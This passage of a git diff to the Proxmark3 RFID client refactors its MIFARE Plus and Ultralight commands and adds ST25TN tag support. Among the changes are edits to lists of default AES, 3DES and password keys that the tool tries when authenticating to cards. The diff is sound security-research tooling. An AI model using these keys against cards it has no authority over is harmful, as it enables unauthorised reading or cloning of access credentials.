keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { + if (mf_read_sector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(ERR, "error, read sector %d", i + 1); return PM3_ESOFT; @@ -2005,9 +2180,9 @@ int CmdHFMFPNDEFRead(const char *Cmd) { memcpy(ndefkey, key, 16); } - uint8_t sector0[16 * 4] = {0}; - uint8_t sector10[16 * 4] = {0}; - uint8_t data[4096] = {0}; + uint8_t sector0[MIFARE_1K_MAXBLOCK] = {0}; + uint8_t sector16[MIFARE_1K_MAXBLOCK] = {0}; + uint8_t data[MIFARE_4K_MAX_BYTES] = {0}; int datalen = 0; if (verbose) @@ -2015,7 +2190,7 @@ int CmdHFMFPNDEFRead(const char *Cmd) { if (mfpReadSector(MF_MAD1_SECTOR, MF_KEY_A, (uint8_t *)g_mifarep_mad_key, sector0, verbose)) { PrintAndLogEx(ERR, "error, read sector 0. card doesn't have MAD or doesn't have MAD on default keys"); - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mfp ndefread -k `") " with your custom key"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfp ndefread -k `") " with your custom key"); return PM3_ESOFT; } @@ -2031,16 +2206,16 @@ int CmdHFMFPNDEFRead(const char *Cmd) { if (verbose) PrintAndLogEx(INFO, "reading MAD v2 sector"); - if (mfpReadSector(MF_MAD2_SECTOR, MF_KEY_A, (uint8_t *)g_mifarep_mad_key, sector10, verbose)) { + if (mfpReadSector(MF_MAD2_SECTOR, MF_KEY_A, (uint8_t *)g_mifarep_mad_key, sector16, verbose)) { PrintAndLogEx(ERR, "error, read sector 0x10. card doesn't have MAD or doesn't have MAD on default keys"); - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mfp ndefread -k `") " with your custom key"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfp ndefread -k `") " with your custom key"); return PM3_ESOFT; } } uint16_t mad[7 + 8 + 8 + 8 + 8] = {0}; size_t madlen = 0; - res = MADDecode(sector0, (haveMAD2 ? sector10 : NULL), mad, &madlen, false); + res = MADDecode(sector0, (haveMAD2 ? sector16 : NULL), mad, &madlen, false); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "can't decode MAD"); return res; @@ -2049,7 +2224,7 @@ int CmdHFMFPNDEFRead(const char *Cmd) { PrintAndLogEx(INFO, "reading data from tag"); for (int i = 0; i < madlen; i++) { if (ndefAID == mad[i]) { - uint8_t vsector[16 * 4] = {0}; + uint8_t vsector[MIFARE_1K_MAXBLOCK] = {0}; if (mfpReadSector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, ndefkey, vsector, false)) { PrintAndLogEx(ERR, "error, reading sector %d", i + 1); return PM3_ESOFT; @@ -2088,10 +2263,10 @@ int CmdHFMFPNDEFRead(const char *Cmd) { pm3_save_dump(filename, data, n, jsfNDEF); if (verbose == false) { - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mfp ndefread -v`") " for more details"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfp ndefread -v`") " for more details"); } else { if (verbose2 == false) { - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mfp ndefread -vv`") " for more details"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfp ndefread -vv`") " for more details"); } } return PM3_SUCCESS; @@ -2151,7 +2326,7 @@ static command_t CommandTable[] = { {"auth", CmdHFMFPAuth, IfPm3Iso14443a, "Authentication"}, {"chk", CmdHFMFPChk, IfPm3Iso14443a, "Check keys"}, {"dump", CmdHFMFPDump, IfPm3Iso14443a, "Dump MIFARE Plus tag to binary file"}, - {"info", CmdHFMFPInfo, IfPm3Iso14443a, "Info about MIFARE Plus tag"}, + {"info", CmdHFMFPInfo, IfPm3Iso14443a, "Tag information"}, {"mad", CmdHFMFPMAD, IfPm3Iso14443a, "Check and print MAD"}, {"rdbl", CmdHFMFPRdbl, IfPm3Iso14443a, "Read blocks from card"}, {"rdsc", CmdHFMFPRdsc, IfPm3Iso14443a, "Read sectors from card"}, diff --git a/client/src/cmdhfmfp.h b/client/src/cmdhfmfp.h index f6189fadf..377525c03 100644 --- a/client/src/cmdhfmfp.h +++ b/client/src/cmdhfmfp.h @@ -19,20 +19,7 @@ #define CMDHFMFP_H__ #include "common.h" - -typedef enum { - MFP_UNKNOWN = 0, - DESFIRE_MF3ICD40, - DESFIRE_EV1, - DESFIRE_EV2, - DESFIRE_EV2_XL, - DESFIRE_EV3, - DESFIRE_LIGHT, - PLUS_EV1, - PLUS_EV2, - NTAG413DNA, - NTAG424 -} nxp_cardtype_t; +#include "mifare/mifare4.h" typedef struct mfp_key_item { uint8_t a[16]; @@ -46,5 +33,5 @@ typedef struct mfp_keys { int CmdHFMFP(const char *Cmd); int CmdHFMFPNDEFRead(const char *Cmd); - +int mfp_data_crypt(mf4Session_t *mf4session, uint8_t *dati, uint8_t *dato, bool rev); #endif diff --git a/client/src/cmdhfmfu.c b/client/src/cmdhfmfu.c index ede2f5d85..1815705de 100644 --- a/client/src/cmdhfmfu.c +++ b/client/src/cmdhfmfu.c @@ -35,6 +35,7 @@ #include "fileutils.h" // saveFile #include "cmdtrace.h" // trace list #include "preferences.h" // setDeviceDebugLevel +#include "crypto/originality.h" #define MAX_UL_BLOCKS 0x0F #define MAX_ULC_BLOCKS 0x2F @@ -53,26 +54,30 @@ #define MAX_MY_D_MOVE_LEAN 0x0F #define MAX_UL_NANO_40 0x0A #define MAX_UL_AES 0x37 +#define MAX_ST25TN512 0x3F +#define MAX_ST25TN01K 0x3F static int CmdHelp(const char *Cmd); +static const char *key_type[] = { "DataProtKey", "UIDRetrKey", "OriginalityKey" }; + static uint8_t default_aes_keys[][16] = { { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // all zeroes { 0x42, 0x52, 0x45, 0x41, 0x4b, 0x4d, 0x45, 0x49, 0x46, 0x59, 0x4f, 0x55, 0x43, 0x41, 0x4e, 0x21 }, // 3des std key - { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f }, // 0x00-0x0F { 0x49, 0x45, 0x4D, 0x4B, 0x41, 0x45, 0x52, 0x42, 0x21, 0x4E, 0x41, 0x43, 0x55, 0x4F, 0x59, 0x46 }, // NFC-key + { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f }, // 0x00-0x0F { 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 }, // all ones { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, // all FF { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF }, // 11 22 33 { 0x47, 0x45, 0x4D, 0x58, 0x50, 0x52, 0x45, 0x53, 0x53, 0x4F, 0x53, 0x41, 0x4D, 0x50, 0x4C, 0x45 }, // gemalto - { 0x56, 0x4c, 0x67, 0x56, 0x99, 0x69, 0x64, 0x9f, 0x17, 0xC6, 0xC6, 0x16, 0x01, 0x10, 0x4D, 0xCA } // Virtual Dorma Kaba + { 0x56, 0x4c, 0x67, 0x56, 0x99, 0x69, 0x64, 0x9f, 0x17, 0xC6, 0xC6, 0x16, 0x01, 0x10, 0x4D, 0xCA } // Virtual dormakaba }; static uint8_t default_3des_keys[][16] = { { 0x42, 0x52, 0x45, 0x41, 0x4b, 0x4d, 0x45, 0x49, 0x46, 0x59, 0x4f, 0x55, 0x43, 0x41, 0x4e, 0x21 }, // 3des std key { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // all zeroes - { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f }, // 0x00-0x0F { 0x49, 0x45, 0x4D, 0x4B, 0x41, 0x45, 0x52, 0x42, 0x21, 0x4E, 0x41, 0x43, 0x55, 0x4F, 0x59, 0x46 }, // NFC-key + { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f }, // 0x00-0x0F { 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 }, // all ones { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, // all FF { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF }, // 11 22 33 @@ -82,6 +87,7 @@ static uint8_t default_3des_keys[][16] = { static uint8_t default_pwd_pack[][4] = { {0xFF, 0xFF, 0xFF, 0xFF}, // PACK 0x00,0x00 -- factory default {0x4E, 0x45, 0x78, 0x54}, // NExT + {0xB6, 0xAA, 0x55, 0x8D}, // copykey }; static uint64_t UL_TYPES_ARRAY[] = { @@ -102,7 +108,9 @@ static uint64_t UL_TYPES_ARRAY[] = { MFU_TT_MAGIC_1A, MFU_TT_MAGIC_1B, MFU_TT_MAGIC_NTAG, MFU_TT_NTAG_210u, MFU_TT_UL_MAGIC, MFU_TT_UL_C_MAGIC, - MFU_TT_UL_AES + MFU_TT_UL_AES, + MFU_TT_ST25TN512, MFU_TT_ST25TN01K, + }; static uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = { @@ -123,7 +131,9 @@ static uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = { // MAGIC_1A, MAGIC_1B, MAGIC_NTAG, MAX_UL_BLOCKS, MAX_UL_BLOCKS, MAX_NTAG_216, // NTAG_210u, UL_MAGIC, UL_C_MAGIC - MAX_NTAG_210, MAX_UL_BLOCKS, MAX_ULC_BLOCKS, MAX_UL_AES + MAX_NTAG_210, MAX_UL_BLOCKS, MAX_ULC_BLOCKS, MAX_UL_AES, +// ST25TN512, ST25TN01K, + MAX_ST25TN512, MAX_ST25TN01K, }; static const ul_family_t ul_family[] = { @@ -164,6 +174,7 @@ static const ul_family_t ul_family[] = { {"NTAG 210u", "NT2H1001G0DUx", "\x00\x04\x04\x02\x02\x00\x0B\x03"}, {"UL EV1 128", "Mikron JSC Russia EV1", "\x00\x34\x21\x01\x01\x00\x0E\x03"}, {"NTAG 213", "Shanghai Feiju NTAG", "\x00\x53\x04\x02\x01\x00\x0F\x03"}, + {"NTAG 215", "Shanghai Feiju NTAG", "\x00\x05\x34\x02\x01\x00\x11\x03"}, {"UL AES", "MF0AES2001DUD", "\x00\x04\x03\x01\x04\x00\x0F\x03"}, }; @@ -261,7 +272,7 @@ static int get_ulc_3des_key_magic(uint64_t magic_type, uint8_t *key) { SendCommandNG(CMD_HF_MIFARE_READBL_EX, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_MIFARE_READBL_EX, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -290,7 +301,7 @@ static const char *getUlev1CardSizeStr(uint8_t fsize) { // is LSB set? if (fsize & 1) - snprintf(buf, sizeof(buf), "%02X, (%u <-> %u bytes)", fsize, usize, lsize); + snprintf(buf, sizeof(buf), "%02X, (%u - %u bytes)", fsize, usize, lsize); else snprintf(buf, sizeof(buf), "%02X, (%u bytes)", fsize, lsize); return buf; @@ -298,14 +309,17 @@ static const char *getUlev1CardSizeStr(uint8_t fsize) { int ul_read_uid(uint8_t *uid) { if (uid == NULL) { - PrintAndLogEx(WARNING, "NUll parameter UID"); + PrintAndLogEx(WARNING, "UID is NULL"); return PM3_ESOFT; } // read uid from tag clearCommandBuffer(); SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_RATS, 0, 0, NULL, 0); PacketResponseNG resp; - WaitForResponse(CMD_ACK, &resp); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } iso14a_card_select_t card; memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); @@ -354,7 +368,7 @@ static bool ul_select(iso14a_card_select_t *card) { ul_switch_on_field(); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { + if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) { PrintAndLogEx(DEBUG, "iso14443a card select timeout"); DropField(); return false; @@ -401,7 +415,7 @@ static bool ul_select_rats(iso14a_card_select_t *card) { uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, sizeof(rats), 0, rats, sizeof(rats)); if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return false; } } @@ -439,7 +453,7 @@ static int ul_comp_write(uint8_t page, const uint8_t *data, uint8_t datalen) { uint8_t response[1] = {0xFF}; ul_send_cmd_raw(cmd, 2 + datalen, response, sizeof(response)); // ACK - if (response[0] == 0x0a) { + if (response[0] == CARD_ACK) { return PM3_SUCCESS; } // NACK @@ -452,13 +466,31 @@ static int ulc_requestAuthentication(uint8_t *nonce, uint16_t nonceLength) { return ul_send_cmd_raw(cmd, sizeof(cmd), nonce, nonceLength); } +int mfuc_test_authentication_support(void) { + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(DEBUG, "iso14443a card select timeout"); + DropField(); + return PM3_ETIMEOUT; + } + uint8_t nonce1[11] = {0x00}; + int resplen = ulc_requestAuthentication(nonce1, sizeof(nonce1)); + DropField(); + if (resplen == 11) { // ULC nonce + return PM3_SUCCESS; + } + return PM3_ESOFT; +} + static int ulev1_requestAuthentication(const uint8_t *pwd, uint8_t *pack, uint16_t packLength) { uint8_t cmd[] = {MIFARE_ULEV1_AUTH, pwd[0], pwd[1], pwd[2], pwd[3]}; int len = ul_send_cmd_raw(cmd, sizeof(cmd), pack, packLength); // NACK tables different tags, but between 0-9 is a NEGATIVE response. // ACK == 0xA - if (len == 1 && pack[0] <= 0x09) { + // should only give you PACK (4 byytes) + if (len == 1) { return PM3_EWRONGANSWER; } return len; @@ -486,10 +518,7 @@ static int ulaes_requestAuthentication(const uint8_t *key, uint8_t keyno, bool s if (WaitForResponseTimeout(CMD_HF_MIFAREULAES_AUTH, &resp, 1500) == false) { return PM3_ETIMEOUT; } - if (resp.status != PM3_SUCCESS) { - return resp.status; - } - return PM3_SUCCESS; + return resp.status; } static int ulc_authentication(const uint8_t *key, bool switch_off_field) { @@ -657,6 +686,9 @@ static int try_default_aes_keys(bool override) { } static int ul_auth_select(iso14a_card_select_t *card, uint64_t tagtype, bool hasAuthKey, uint8_t *authkey, uint8_t *pack, uint8_t packSize) { + if (ul_select(card) == false) { + return PM3_ESOFT; + } if (hasAuthKey && (tagtype & MFU_TT_UL_C)) { //will select card automatically and close connection on error @@ -664,12 +696,7 @@ static int ul_auth_select(iso14a_card_select_t *card, uint64_t tagtype, bool has PrintAndLogEx(WARNING, "Authentication Failed UL-C"); return PM3_ESOFT; } - } else { - if (ul_select(card) == false) { - return PM3_ESOFT; - } - if (hasAuthKey) { if (ulev1_requestAuthentication(authkey, pack, packSize) == PM3_EWRONGANSWER) { DropField(); @@ -784,7 +811,13 @@ static int ul_print_default(uint8_t *data, uint8_t *real_uid) { PrintAndLogEx(SUCCESS, " BCC1: %02X ( " _GREEN_("ok") " )", data[8]); else PrintAndLogEx(NORMAL, " BCC1: %02X, crc should be %02X", data[8], crc1); - PrintAndLogEx(SUCCESS, " Internal: %02X ( %s )", data[9], (data[9] == 0x48) ? _GREEN_("default") : _RED_("not default")); + if (uid[0] == 0x04) { + PrintAndLogEx(SUCCESS, " Internal: %02X ( %s )", data[9], (data[9] == 0x48) ? _GREEN_("default") : _RED_("not default")); + } else if (uid[0] == 0x02) { + PrintAndLogEx(SUCCESS, " Sysblock: %02X ( %s )", data[9], (data[9] == 0x2C) ? _GREEN_("default") : _RED_("not default")); + } else { + PrintAndLogEx(SUCCESS, " Internal: %02X", data[9]); + } } else { PrintAndLogEx(SUCCESS, "Blocks 0-2: %s", sprint_hex(data + 0, 12)); } @@ -877,7 +910,7 @@ static int ndef_print_CC(uint8_t *data) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("NDEF Message")); - PrintAndLogEx(SUCCESS, "Capability Container: %s", sprint_hex(data, 4)); + PrintAndLogEx(SUCCESS, "Capability Container: " _YELLOW_("%s"), sprint_hex_inrow(data, 4)); PrintAndLogEx(SUCCESS, " %02X: NDEF Magic Number", data[0]); // PrintAndLogEx(SUCCESS, " %02X : version %d.%d supported by tag", data[1], (data[1] & 0xF0) >> 4, data[1] & 0x0F); @@ -1006,6 +1039,10 @@ int ul_print_type(uint64_t tagtype, uint8_t spaces) { snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("INFINEON my-d\x99 move lean (SLE 66R01L)"), spaces, ""); else if (tagtype & MFU_TT_FUDAN_UL) snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("FUDAN Ultralight Compatible (or other compatible)"), spaces, ""); + else if (tagtype & MFU_TT_ST25TN512) + snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("ST ST25TN512 64bytes"), spaces, ""); + else if (tagtype & MFU_TT_ST25TN01K) + snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("ST ST25TN01K 160bytes"), spaces, ""); else snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("Unknown %06" PRIx64), spaces, "", tagtype); @@ -1016,7 +1053,7 @@ int ul_print_type(uint64_t tagtype, uint8_t spaces) { tagtype &= ~(MFU_TT_MAGIC); if (ismagic) { - snprintf(typestr + strlen(typestr), 4, " ("); + snprintf(typestr + strlen(typestr), 4, " ( "); } snprintf(typestr + strlen(typestr), sizeof(typestr) - strlen(typestr), "%s", ((tagtype & MFU_TT_MAGIC_1A) == MFU_TT_MAGIC_1A) ? _GREEN_("Gen 1a") : ""); @@ -1092,7 +1129,7 @@ static int ulaes_print_configuration(uint8_t *data, uint8_t start_page) { bool cnt_rd_en = (data[4] & 4); uint16_t authlim = (data[6]) | ((data[7] & 0x3) << 8); - PrintAndLogEx(INFO, " cfg0 [%u/0x%02X]: %s", start_page, start_page, sprint_hex(data, 4)); + PrintAndLogEx(INFO, " cfg0 [%u/0x%02X]: " _YELLOW_("%s"), start_page, start_page, sprint_hex_inrow(data, 4)); PrintAndLogEx(INFO, " - Random ID is %s", (rid_act) ? "enabled" : "disabled"); PrintAndLogEx(INFO, " - Secure messaging is %s", (sec_msg_act) ? "enabled" : "disabled"); @@ -1101,7 +1138,7 @@ static int ulaes_print_configuration(uint8_t *data, uint8_t start_page) { } else { PrintAndLogEx(INFO, " - pages don't need authentication"); } - PrintAndLogEx(INFO, " cfg1 [%u/0x%02X]: %s", start_page + 1, start_page + 1, sprint_hex(data + 4, 4)); + PrintAndLogEx(INFO, " cfg1 [%u/0x%02X]: " _YELLOW_("%s"), start_page + 1, start_page + 1, sprint_hex_inrow(data + 4, 4)); if (authlim == 0) { PrintAndLogEx(INFO, " - " _GREEN_("Unlimited authentication attempts")); @@ -1120,8 +1157,7 @@ static int ulev1_print_configuration(uint64_t tagtype, uint8_t *data, uint8_t st PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Tag Configuration")); - bool strg_mod_en = (data[0] & 2); - + bool strg_mod_en = (data[0] & 0x04); uint8_t authlim = (data[4] & 0x07); bool nfc_cnf_prot_pwd = ((data[4] & 0x08) == 0x08); bool nfc_cnf_en = ((data[4] & 0x10) == 0x10); @@ -1130,7 +1166,7 @@ static int ulev1_print_configuration(uint64_t tagtype, uint8_t *data, uint8_t st uint8_t vctid = data[5]; - PrintAndLogEx(INFO, " cfg0 [%u/0x%02X]: %s", startPage, startPage, sprint_hex(data, 4)); + PrintAndLogEx(INFO, " cfg0 [%u/0x%02X]: " _YELLOW_("%s"), startPage, startPage, sprint_hex_inrow(data, 4)); //NTAG213TT has different ASCII mirroring options and config bytes interpretation from other ulev1 class tags if (tagtype & MFU_TT_NTAG_213_TT) { @@ -1305,7 +1341,7 @@ static int ulev1_print_configuration(uint64_t tagtype, uint8_t *data, uint8_t st } } - PrintAndLogEx(INFO, " cfg1 [%u/0x%02X]: %s", startPage + 1, startPage + 1, sprint_hex(data + 4, 4)); + PrintAndLogEx(INFO, " cfg1 [%u/0x%02X]: " _YELLOW_("%s"), startPage + 1, startPage + 1, sprint_hex_inrow(data + 4, 4)); if (authlim == 0) PrintAndLogEx(INFO, " - " _GREEN_("Unlimited password attempts")); else @@ -1317,16 +1353,16 @@ static int ulev1_print_configuration(uint64_t tagtype, uint8_t *data, uint8_t st PrintAndLogEx(INFO, " - user configuration %s", cfglck ? "permanently locked" : "writeable"); PrintAndLogEx(INFO, " - %s access is protected with password", prot ? "read and write" : "write"); PrintAndLogEx(INFO, " - %02X, Virtual Card Type Identifier is %sdefault", vctid, (vctid == 0x05) ? "" : "not "); - PrintAndLogEx(INFO, " PWD [%u/0x%02X]: %s- ( cannot be read )", startPage + 2, startPage + 2, sprint_hex(data + 8, 4)); - PrintAndLogEx(INFO, " PACK [%u/0x%02X]: %s - ( cannot be read )", startPage + 3, startPage + 3, sprint_hex(data + 12, 2)); - PrintAndLogEx(INFO, " RFU [%u/0x%02X]: %s- ( cannot be read )", startPage + 3, startPage + 3, sprint_hex(data + 14, 2)); + PrintAndLogEx(INFO, " PWD [%u/0x%02X]: %s ( cannot be read )", startPage + 2, startPage + 2, sprint_hex_inrow(data + 8, 4)); + PrintAndLogEx(INFO, " PACK [%u/0x%02X]: %s ( cannot be read )", startPage + 3, startPage + 3, sprint_hex_inrow(data + 12, 2)); + PrintAndLogEx(INFO, " RFU [%u/0x%02X]: %s ( cannot be read )", startPage + 3, startPage + 3, sprint_hex_inrow(data + 14, 2)); if (tagtype & MFU_TT_NTAG_213_TT) { if (data[1] & 0x06) { - PrintAndLogEx(INFO, "TT_MSG [45/0x2D]: %s- (cannot be read)", sprint_hex(tt_message, tt_msg_resp_len)); + PrintAndLogEx(INFO, "TT_MSG [45/0x2D]: %s (cannot be read)", sprint_hex_inrow(tt_message, tt_msg_resp_len)); PrintAndLogEx(INFO, " - tamper message is masked in memory"); } else { - PrintAndLogEx(INFO, "TT_MSG [45/0x2D]: %s", sprint_hex(tt_message, tt_msg_resp_len)); + PrintAndLogEx(INFO, "TT_MSG [45/0x2D]: %s", sprint_hex_inrow(tt_message, tt_msg_resp_len)); PrintAndLogEx(INFO, " - tamper message is %s and is readable/writablbe in memory", sprint_hex(tt_message, tt_msg_resp_len)); } } @@ -1342,7 +1378,7 @@ static int ulev1_print_configuration(uint64_t tagtype, uint8_t *data, uint8_t st PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Tamper Status")); - PrintAndLogEx(INFO, " READ_TT_STATUS: %s", sprint_hex(tt_status_resp, 5)); + PrintAndLogEx(INFO, " READ_TT_STATUS: %s", sprint_hex_inrow(tt_status_resp, 5)); PrintAndLogEx(INFO, " Tamper status result from this power-up:"); switch (tt_status_resp[4]) { @@ -1392,138 +1428,19 @@ static int ulev1_print_counters(void) { } static int ulev1_print_signature(uint64_t tagtype, uint8_t *uid, uint8_t *signature, size_t signature_len) { - -#define PUBLIC_ECDA_KEYLEN 33 -#define PUBLIC_ECDA_192_KEYLEN 49 - // known public keys for the originality check (source: https://github.com/alexbatalov/node-nxp-originality-verifier) - // ref: AN11350 NTAG 21x Originality Signature Validation - // ref: AN11341 MIFARE Ultralight EV1 Originality Signature Validation - const ecdsa_publickey_t nxp_mfu_public_keys[] = { - {"NXP MIFARE Classic MFC1C14_x", "044F6D3F294DEA5737F0F46FFEE88A356EED95695DD7E0C27A591E6F6F65962BAF"}, - {"MIFARE Classic / QL88", "046F70AC557F5461CE5052C8E4A7838C11C7A236797E8A0730A101837C004039C2"}, - {"NXP ICODE DNA, ICODE SLIX2", "048878A2A2D3EEC336B4F261A082BD71F9BE11C4E2E896648B32EFA59CEA6E59F0"}, - {"NXP Public key", "04A748B6A632FBEE2C0897702B33BEA1C074998E17B84ACA04FF267E5D2C91F6DC"}, - {"NXP Ultralight Ev1", "0490933BDCD6E99B4E255E3DA55389A827564E11718E017292FAF23226A96614B8"}, - {"NXP NTAG21x (2013)", "04494E1A386D3D3CFE3DC10E5DE68A499B1C202DB5B132393E89ED19FE5BE8BC61"}, - {"MIKRON Public key", "04F971EDA742A4A80D32DCF6A814A707CC3DC396D35902F72929FDCD698B3468F2"}, - {"VivoKey Spark1 Public key", "04D64BB732C0D214E7EC580736ACF847284B502C25C0F7F2FA86AACE1DADA4387A"}, - {"TruST25 (ST) key 01?", "041D92163650161A2548D33881C235D0FB2315C2C31A442F23C87ACF14497C0CBA"}, - {"TruST25 (ST) key 04?", "04101E188A8B4CDDBC62D5BC3E0E6850F0C2730E744B79765A0E079907FBDB01BC"}, - }; - - // https://www.nxp.com/docs/en/application-note/AN13452.pdf - const ecdsa_publickey_t nxp_mfu_192_public_keys[] = { - {"NXP Ultralight AES", "0453BF8C49B7BD9FE3207A91513B9C1D238ECAB07186B772104AB535F7D3AE63CF7C7F3DD0D169DA3E99E43C6399621A86"}, - }; - - /* - uint8_t nxp_mfu_public_keys[6][PUBLIC_ECDA_KEYLEN] = { - // UL, NTAG21x and NDEF - { - 0x04, 0x49, 0x4e, 0x1a, 0x38, 0x6d, 0x3d, 0x3c, - 0xfe, 0x3d, 0xc1, 0x0e, 0x5d, 0xe6, 0x8a, 0x49, - 0x9b, 0x1c, 0x20, 0x2d, 0xb5, 0xb1, 0x32, 0x39, - 0x3e, 0x89, 0xed, 0x19, 0xfe, 0x5b, 0xe8, 0xbc, 0x61 - }, - // UL EV1 - { - 0x04, 0x90, 0x93, 0x3b, 0xdc, 0xd6, 0xe9, 0x9b, - 0x4e, 0x25, 0x5e, 0x3d, 0xa5, 0x53, 0x89, 0xa8, - 0x27, 0x56, 0x4e, 0x11, 0x71, 0x8e, 0x01, 0x72, - 0x92, 0xfa, 0xf2, 0x32, 0x26, 0xa9, 0x66, 0x14, 0xb8 - }, - // unknown. Needs identification - { - 0x04, 0x4F, 0x6D, 0x3F, 0x29, 0x4D, 0xEA, 0x57, - 0x37, 0xF0, 0xF4, 0x6F, 0xFE, 0xE8, 0x8A, 0x35, - 0x6E, 0xED, 0x95, 0x69, 0x5D, 0xD7, 0xE0, 0xC2, - 0x7A, 0x59, 0x1E, 0x6F, 0x6F, 0x65, 0x96, 0x2B, 0xAF - }, - // unknown. Needs identification - { - 0x04, 0xA7, 0x48, 0xB6, 0xA6, 0x32, 0xFB, 0xEE, - 0x2C, 0x08, 0x97, 0x70, 0x2B, 0x33, 0xBE, 0xA1, - 0xC0, 0x74, 0x99, 0x8E, 0x17, 0xB8, 0x4A, 0xCA, - 0x04, 0xFF, 0x26, 0x7E, 0x5D, 0x2C, 0x91, 0xF6, 0xDC - }, - // manufacturer public key - { - 0x04, 0x6F, 0x70, 0xAC, 0x55, 0x7F, 0x54, 0x61, - 0xCE, 0x50, 0x52, 0xC8, 0xE4, 0xA7, 0x83, 0x8C, - 0x11, 0xC7, 0xA2, 0x36, 0x79, 0x7E, 0x8A, 0x07, - 0x30, 0xA1, 0x01, 0x83, 0x7C, 0x00, 0x40, 0x39, 0xC2 - }, - // MIKRON public key. - { - 0x04, 0xf9, 0x71, 0xed, 0xa7, 0x42, 0xa4, 0xa8, - 0x0d, 0x32, 0xdc, 0xf6, 0xa8, 0x14, 0xa7, 0x07, - 0xcc, 0x3d, 0xc3, 0x96, 0xd3, 0x59, 0x02, 0xf7, - 0x29, 0x29, 0xfd, 0xcd, 0x69, 0x8b, 0x34, 0x68, 0xf2 - } - }; - */ - uint8_t i; - bool is_valid = false; + int index = -1; if (signature_len == 32) { - for (i = 0; i < ARRAYLEN(nxp_mfu_public_keys); i++) { - - int dl = 0; - uint8_t key[PUBLIC_ECDA_KEYLEN] = {0}; - param_gethex_to_eol(nxp_mfu_public_keys[i].value, 0, key, PUBLIC_ECDA_KEYLEN, &dl); - - int res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, key, uid, 7, signature, signature_len, false); - - is_valid = (res == 0); - if (is_valid) - break; - } + index = originality_check_verify(uid, 7, signature, signature_len, PK_MFUL); 